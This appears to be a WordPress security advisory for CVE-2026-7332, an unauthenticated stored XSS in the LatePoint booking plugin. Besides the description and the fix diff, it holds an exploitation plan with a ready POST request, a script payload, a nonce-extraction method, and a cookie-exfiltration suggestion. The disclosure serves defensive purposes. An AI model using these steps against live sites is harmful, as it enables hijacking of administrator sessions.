CVE-2026-7332

LatePoint <= 5.5.0 - Unauthenticated Stored Cross-Site Scripting via 'booking_form_page_url' Parameter

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
5.5.1
Patched in
3d
Time to patch

Description

The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'booking_form_page_url' parameter in all versions up to, and including, 5.5.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The malicious activity log entry is written to the database even when Stripe is not configured, because the latepoint_order_intent_created action hook fires before the Stripe Connect account ID is validated, meaning a fully functional Stripe integration is not required for exploitation.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.5.0
PublishedMay 5, 2026
Last updatedMay 8, 2026
Affected pluginlatepoint

What Changed in the Fix

Changes introduced in v5.5.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-7332 - LatePoint Stored XSS ## 1. Vulnerability Summary The **LatePoint** plugin (up to version 5.5.0) is vulnerable to **unauthenticated stored cross-site scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape the `booking_…

Show full research plan

Exploitation Research Plan: CVE-2026-7332 - LatePoint Stored XSS

1. Vulnerability Summary

The LatePoint plugin (up to version 5.5.0) is vulnerable to unauthenticated stored cross-site scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the booking_form_page_url parameter before storing it in the database and subsequently rendering it in the administrative Activity Log.

When a user initiates a booking, an "Order Intent" is created or updated. This process records the URL from which the booking originated. This value is saved in the latepoint_order_intents and latepoint_activities tables. When an administrator views the Activity Log or a specific activity detail page, the malicious script is executed in the administrator's browser context, potentially leading to session hijacking or administrative account takeover.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: latepoint_route_call (WordPress AJAX action)
  • Route: steps__get_step or steps__start_order_intent
  • Vulnerable Parameter: booking_form_page_url
  • Authentication Required: None (Unauthenticated)
  • Preconditions: The LatePoint booking form must be accessible (even if Stripe is not configured).

3. Code Flow

  1. An unauthenticated request is sent to admin-ajax.php with action=latepoint_route_call and route_name=steps__get_step.
  2. The OsRouterHelper dispatches the request to OsStepsController::get_step().
  3. Inside the booking flow, OsOrderIntentHelper::create_or_update_order_intent() is called (found in lib/helpers/order_intent_helper.php).
  4. Source: The function takes $booking_form_page_url as an argument.
    // lib/helpers/order_intent_helper.php
    public static function create_or_update_order_intent( ..., string $booking_form_page_url = '', ... ) {
        if ( empty( $booking_form_page_url ) ) {
            $booking_form_page_url = OsUtilHelper::get_referrer();
        }
        ...
        if ( ! empty( $booking_form_page_url ) ) {
            // VULNERABLE: Input is decoded but NOT sanitized
            $order_intent->booking_form_page_url = urldecode( $booking_form_page_url );
        }
        ...
        if ( $order_intent->save() ) {
            ...
            // Triggers hook that records activity
            do_action( 'latepoint_order_intent_created', $order_intent );
        }
    
  5. The latepoint_order_intent_created hook triggers an activity log creation.
  6. Sink: The activity is viewed in the admin dashboard via OsActivitiesController.
    // lib/controllers/activities_controller.php
    public function view() {
        $activity = new OsActivityModel( $this->params['id'] );
        $data = json_decode( $activity->description, true );
        ...
        // The description containing the URL is rendered without escaping
        // (Traces to view files rendering activity-preview-to sections)
    

4. Nonce Acquisition Strategy

The latepoint_route_call AJAX action typically requires a nonce for validation. LatePoint exposes this nonce on pages where the booking form is rendered.

  1. Identify Shortcode: The plugin uses [latepoint_booking_form] to render the booking interface.
  2. Setup Page: Create a public page containing this shortcode.
  3. Extraction: Navigate to the page and extract the nonce from the latepoint_helper JavaScript object.
    • JavaScript Variable: latepoint_helper
    • Nonce Key: nonces.route_call
    • Extraction Command: browser_eval("window.latepoint_helper?.nonces?.route_call")

5. Exploitation Strategy

Step 1: Prepare the Environment

Create a public page with the booking form to retrieve the necessary nonce.

Step 2: Extract Nonce

Use the browser tool to navigate to the page and retrieve latepoint_helper.nonces.route_call.

Step 3: Inject Payload

Send a POST request to initiate an order intent with the XSS payload.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Parameters:
    • action: latepoint_route_call
    • route_name: steps__get_step
    • _wpnonce: [EXTRACTED_NONCE]
    • step_name: contact
    • booking_form_page_url: https://example.com/"><script>alert(document.domain)</script>
    • params[customer][first_name]: Attacker
    • params[customer][last_name]: XSS
    • params[customer][email]: test@example.com

Step 4: Trigger Execution

Log in as an administrator and navigate to the LatePoint Activity Log:
/wp-admin/admin.php?page=latepoint&route_name=activities__index

6. Test Data Setup

  1. LatePoint Configuration: Ensure the plugin is active. No Stripe keys are required.
  2. Target Page:
    wp post create --post_type=page --post_title="Booking" --post_status=publish --post_content='[latepoint_booking_form]'
    

7. Expected Results

  • The latepoint_route_call request should return a 200 OK with a JSON success status.
  • A new entry should appear in the Activity Log in the WordPress admin.
  • When the admin views the Activity Log (Index or View), a JavaScript alert box showing the document domain should appear.

8. Verification Steps

After sending the exploit request, verify the database state via WP-CLI:

# Check the latest activity for the payload
wp db query "SELECT description FROM $(wp db prefix)latepoint_activities ORDER BY id DESC LIMIT 1;"

Confirm the description JSON field contains the raw <script> tag.

9. Alternative Approaches

If steps__get_step is restricted, try the direct intent start route:

  • Route: steps__start_order_intent
  • Payload Modification: If the script is rendered inside an href attribute, use a javascript: protocol:
    booking_form_page_url=javascript:alert(1)//
  • Blind XSS: For a more impactful PoC, use a payload that exfiltrates document.cookie to an external listener to demonstrate administrative session theft.
Research Findings
Static analysis — not yet PoC-verified

Summary

The LatePoint plugin for WordPress (<= 5.5.0) is vulnerable to unauthenticated stored Cross-Site Scripting (XSS) via the 'booking_form_page_url' parameter. This occurs because the plugin fails to sanitize this URL before storing it in the database and subsequently fails to escape the output when rendering activity logs in the administrative dashboard.

Vulnerable Code

// lib/helpers/order_intent_helper.php (~line 122)
if ( ! empty( $booking_form_page_url ) ) {
    $order_intent->booking_form_page_url = urldecode( $booking_form_page_url );
}

---

// lib/controllers/activities_controller.php (~line 209)
case 'order_intent_updated':
    $link_to_order = $activity->order_id ? '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>' : '';
    $meta_html     = '<div class="activity-preview-to">' . ( $link_to_order ? ( '<span class="os-value">' . $link_to_order . '</span>' ) : '' ) . '<span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span></div>';
    $content_html  = '<pre class="format-json">' . wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT ) . '</pre>';
    break;

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.5.0/lib/controllers/activities_controller.php /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.5.1/lib/controllers/activities_controller.php
--- /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.5.0/lib/controllers/activities_controller.php	2026-03-10 07:15:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.5.1/lib/controllers/activities_controller.php	2026-05-05 05:38:32.000000000 +0000
@@ -206,28 +206,28 @@
 				case 'order_intent_updated':
 					$link_to_order = $activity->order_id ? '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>' : '';
 					$meta_html     = '<div class="activity-preview-to">' . ( $link_to_order ? ( '<span class="os-value">' . $link_to_order . '</span>' ) : '' ) . '<span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span></div>';
-					$content_html  = '<pre class="format-json">' . wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html  = '<pre class="format-json">' . esc_html( wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
 				case 'order_intent_created':
 					$link_to_order = $activity->order_id ? '<a href="#" ' . OsOrdersHelper::quick_order_btn_html( $activity->order_id ) . '>' . __( 'View Order', 'latepoint' ) . '</a>' : '';
 					$meta_html     = '<div class="activity-preview-to">' . ( $link_to_order ? ( '<span class="os-value">' . $link_to_order . '</span>' ) : '' ) . '<span class="os-label">' . __( 'Created On:', 'latepoint' ) . '</span><span class="os-value">' . $activity->nice_created_at . '</span></div>';
-					$content_html  = '<pre class="format-json">' . wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT ) . '</pre>';
+					$content_html  = '<pre class="format-json">' . esc_html( wp_json_encode( $data['order_data_vars'], JSON_PRETTY_PRINT | JSON_HEX_TAG ) ) . '</pre>';
 					break;
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.5.0/lib/helpers/order_intent_helper.php /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.5.1/lib/helpers/order_intent_helper.php
--- /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.5.0/lib/helpers/order_intent_helper.php	2026-03-10 07:15:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.5.1/lib/helpers/order_intent_helper.php	2026-05-05 05:38:32.000000000 +0000
@@ -119,7 +119,7 @@
 		$order_intent->presets_data      = wp_json_encode( $presets_data );
 		// override only if not empty
 		if ( ! empty( $booking_form_page_url ) ) {
-			$order_intent->booking_form_page_url = urldecode( $booking_form_page_url );
+			$order_intent->booking_form_page_url = esc_url_raw( urldecode( $booking_form_page_url ) );
 		}

Exploit Outline

The exploit is executed by an unauthenticated attacker using the following steps: 1. **Obtain Nonce**: Navigate to any public page containing the `[latepoint_booking_form]` shortcode and extract the `latepoint_helper.nonces.route_call` nonce from the page source. 2. **Craft Payload**: Construct an AJAX request targeting `admin-ajax.php` with the action `latepoint_route_call` and the route `steps__get_step`. 3. **Inject Script**: Set the `booking_form_page_url` parameter to a URL containing a malicious JavaScript payload (e.g., `https://example.com/"><script>alert(1)</script>`). 4. **Trigger Stored XSS**: The payload is saved in the `latepoint_order_intents` and `latepoint_activities` tables. When an administrator later views the Activity Log (`latepoint&route_name=activities__index`) or a specific activity detail, the unsanitized URL is rendered, executing the attacker's script in the administrator's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.